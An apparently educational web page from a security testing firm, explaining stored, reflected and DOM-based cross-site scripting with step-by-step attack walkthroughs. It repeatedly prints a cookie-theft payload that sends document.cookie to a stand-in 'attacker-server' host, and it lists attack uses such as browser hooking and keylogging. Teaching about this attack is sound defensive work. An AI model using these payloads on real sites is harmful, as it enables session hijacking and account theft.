What is XSS (Cross-site Scripting)?

Introduction

This document provides an overview of the three main types of XSS attacks. Giving a clear definition with detailed diagrams explaining clearly how the attack takes place. A useful resource for web developers or web app security assessment companies.

What is XSS (Cross-site Scripting)

What is XSS? Cross-site scripting also known as XSS is a Client Side attack where code is executed in the victims browser either from injecting JavaScript into a web application and having a victim visit the vulnerable URL. Or, by directly tricking a user into clicking a link with a payload crafted into the URL. The three main types of Cross-site Scripting: Reflected XSS, Stored XSS and DOM Based XSS are documented below.

Different Types of XSS Explained

Stored XSS Definition

Stored XSS, occurs when user supplied input is stored and then rendered within a web page. Typical entry points for stored XSS are: message forums, blog comments, user profiles and username fields. An attacker typically exploits this vulnerability by injecting XSS payloads on popular pages of a site or passing a link to a victim, tricking them into viewing the page that contains the stored XSS payload. The victim visits the page and the payload is executed client side by the victims web browser. Stored XSS is also known as persistent cross-site scripting or persistent XSS.

Stored XSS Attack: Basic Example

The diagram below assumes the attacker has already discovered a stored cross-site scripting vulnerability on the target web application and has a way of tricking or ensuring the victim will visit the page containing the stored payload.

Typical Entry Points for Stored XSS

Stored XSS requires user supplied input to be stored by the application (making it persistent) and rendered within the page. The following list identifies some typical locations where Stored XSS vulnerabilities exist:

• Message Forums
• Blog Comments
• Profile page information
• Admin portals

Looking for a manual security assessment? See our Penetration Testing Services page for more details.

Typical Attack Vectors for Stored XSS

An attacker can execute JavaScript of their choosing on the victims machine, therefore XSS can be used to execute a number of security risks and / or be used in combination with other web vulnerabilities to exploit a higher severity security vulnerability.

• Redirecting the browser
• Link placement
• Hooking browsers – beef (redirecting vulnerable browsers to exploits)
• Cookie Theft / Session Hijacking
• Key logging
• Using XSS to steal CSRF tokens
• Fake login forms
• Abusing HTML 5

Cookie Theft Example using Stored XSS

The following example uses a vulnerable blog comment system to inject an XSS payload on a popular page often visited by the victim(s).

The following XSS payload attempts to load an image from the attackers server with the victims cookie data within the request URL. After a request for the image has taken place the attacker can extract the victims session identifier from the web server log files.

<script>var+img=new+image();img.src="http://attacker-server/" + document.cookie;</script>

Stored XSS Cookie Theft Diagram

XSS Cookie Theft Example Explained

1. Attacker sends XSS payload to the victim <script>var+img=new+image();img.src="http://attacker-server/" + document.cookie;</script>
2. The victim requests the page from the server, either the attacker tricked the victim into visiting the page or the XSS payload is on a popular page.
3. The web server serves the page containing the XSS payload to the victims web browser.
4. The victims browser executes the JavaScript payload and a request to load an image containing the victims cookie data is made to the attackers web server
5. The attacker now has the victims session identifier allowing the attacker to perform session hijacking

Reflected XSS Definition

Reflected XSS is short for Reflected Cross-site Scripting also known as Type-II XSS and non-persistent cross-site scripting. Reflected XSS is one of three main types of XSS, which are: Reflected XSS, Stored XSS and DOM based XSS. During a Reflected XSS attack the payload is not stored by the application and is only returned within the HTML response. The reflected cross-site scripting vulnerability allows malicious JavaScript payloads such as: <script>alert(1)</script> to be injected within user supplied input, the payload is sent and reflected back in the web servers response and executed client side by the victims web browser. The entire attack is completed in a single request and response, hence the name reflected XSS. This is also the reason why it’s sometimes referred to as Type-II XSS as the whole attack is completed within a request and response.

Reflected XSS: Key Points

1. Web server / app does not store the XSS payload
2. The payload is reflected and is non-persistent
3. Reflected XSS uses a web server to reflect the XSS payload (Server XSS)

Testing for Reflected XSS Vulnerabilities

The diagram below visualises the testing process for Reflected XSS. In the following example an alert box would open, however reflected XSS can be leveraged to further exploit the web application, see the session hijacking example below.

A Typical Example of Reflected XSS

Reflected XSS requires user supplied input to be reflected back in a web page, A typical example would be a contact form that takes user supplied input and reflects this back in the page response. For example, a form that prints a person’s name after submitting a form, with a message similar to “Thanks for your enquiry $YourName, we’ll be in touch shortly”. An attacker would attempt to inject payloads within the forms name input field, in an attempt to have the payload rendered in the response.

How can an Attacker Exploit a Reflected XSS Vulnerability?

Session Hijacking Example

It’s important to understand that XSS goes beyond alerts, an alert box is only used for proof of concept testing. If an attacker can execute reflected JavaScript of their choosing then many options are available depending on other vulnerabilities within the target environment. Session hijacking is a good example that demonstrates the potential severity of a reflected XSS vulnerability.

Conditions

1. Cookies are used for session identifiers
2. Does not have “HTTPonly” cookie flag set
3. Insufficient input validation / sanitisation

Reflected XSS Description

An attacker needs to deliver the payload to the victim, a typical example would be crafting the payload within you URL, such as:

http://victim-server?search=<script>var+img=new+image();img.src="http://attacker-server/" + document.cookie;</script>

The above payload attempts to open a non-existent image file on a web server the attacker controls, + document.cookie; will tag the victims cookie data onto the end of the URL. The attacker retrieves the victim’s cookie from the web server log files and uses the session identifier (cookie) to login as the victim.

Step-by-step: XSS Session Hijacking Example

XSS Session Hijacking Diagram

Attacker identifies Reflected XSS using the Reflected XSS Proof of Concept technique.

1. Attacker crafts a payload within a URL (typically this is encoded to obfuscate from the victim)
2. Attacker delivers payload to a victim
3. Victim clicks the attacker supplied payload
4. Cookie data containing the victim’s session identifier is sent to the attacker’s web server
5. Attacker uses the victim’s session identifier to login

DOM based XSS Definition

DOM based XSS, occurs when input (aka Source) can be controlled by a user and it’s output (aka Sink) is rendered within the page. This allows an attacker to manipulate DOM objects that are rendered within a page typically with a payload crafted within the URL. The vulnerable environment has inappropriate handling and processes the XSS payload, building it into the page. An attacker could manipulate the following Source document.url, document.location or document.referrer objects to inject XSS payloads and have the output rendered within the page.

An important thing to remember with DOM based is that it does not get processed by a web server, a victim only needs to click a payload crafted link and the payload rendering is processed client side.

DOM XSS is not processed by the server

DOM based XSS payloads are never sent to the sever, anything after the # or ? are not sent to the server, therefore server side filtering and other filtering mechanisms such as web application firewalls (WAF) or framework specific XSS filter protections such as ASP.NET Request Validation will not prevent DOM based XSS, as the payload remains and is executed client side.

Looking for a third party mobile app security testing service for iOS and Android apps, See our mobile app security testing services page for more details.

DOM Based XSS attack – step by step

The following is a break down of a DOM based XSS attack:

• Attacker discovers the DOM based XSS vulnerability
• Attacker crafts a payload and sends the URL to the victim (Email, social media, IM, SMS etc)
• Victim clicks on the URL
• Victims browser sends a request to the vulnerable site (note: the request does not contain the XSS payload)
• Web server responds with the web page (note: this response does not contain the XSS payload)
• Victims web browser renders the page, with the attackers XSS payload

Have you performed a Vulnerability Test recently? See our Vulnerability Assessment service for more information.

DOM based XSS Cookie Theft

DOM XSS Payload:

 http://www.vulnerable.site/page.html?default=<%3cscript>var+img=new+image();img.src="http://attacker-server/" + document.cookie;%3c/script> 

1. Attacker sends the above payload:
2. Victim’s browser requests the page in the attackers URL – note: the payload is never sent to the server, anything after the ? is not sent to the server, a # can also be used instead of a ?
3. The web server hosting the sit is vulnerable to DOM based XSS returns the response (note: the response also does not contain the payload)
4. Victims web browser makes a request to the attackers web server with the victims cookie data within the URL. The attacker can now extract the victims cookie from the web logs and hijack the users session using the session identifier from the cookie.

Common Sources – DOM XSS Entry Points

• document.location
• document.referrer
• window.name
• location.*
• location.href
• document.documentURI

Typical Attack Vectors for DOM Based XSS

An attacker can execute JavaScript of their choosing on the victims machine, XSS can be used to execute a number of security risks and / or be used in combination with other web vulnerabilities on the vulnerable web application to exploit a higher risk security vulnerability.

• Redirecting the browser
• Link placement
• Hooking browsers – beef (redirecting vulnerable browsers to exploits)
• Cookie Theft / Session Hijacking
• Key logging
• Using XSS to steal CSRF tokens
• Fake login forms
• Abusing HTML 5

Different names for XSS / Cross-site scripting vulnerabilities

The following table shows the different names commonly used to describe XSS vulnerabilities, followed by their alternate names. The most common name is listed on the left, followed by names the XSS vulnerability is also known as.

Server XSS and Client XSS

Due to the complexity of understanding 3 different types of XSS vulnerability, Server XSS and Client XSS is an effort to simplify the understanding of XSS vulnerabilities.

Server XSS

Server XSS Definition, any vulnerability or attack that involves the payload being served to the victims web browser from a web server.

Client XSS

Client XSS Definition, any vulnerability or attack that does not use a web server to serve the payload to the victim is Client XSS. A good example would be DOM based XSS, which does not require a web server to render a payload within the victims web browser.

The following table helps show how the three classic types of XSS fit into the Server XSS and Client XSS definitions.

Further Reading Sources

• OWASP XSS Prevention Cheat Sheet
• A comprehensive tutorial on Cross-site Scripting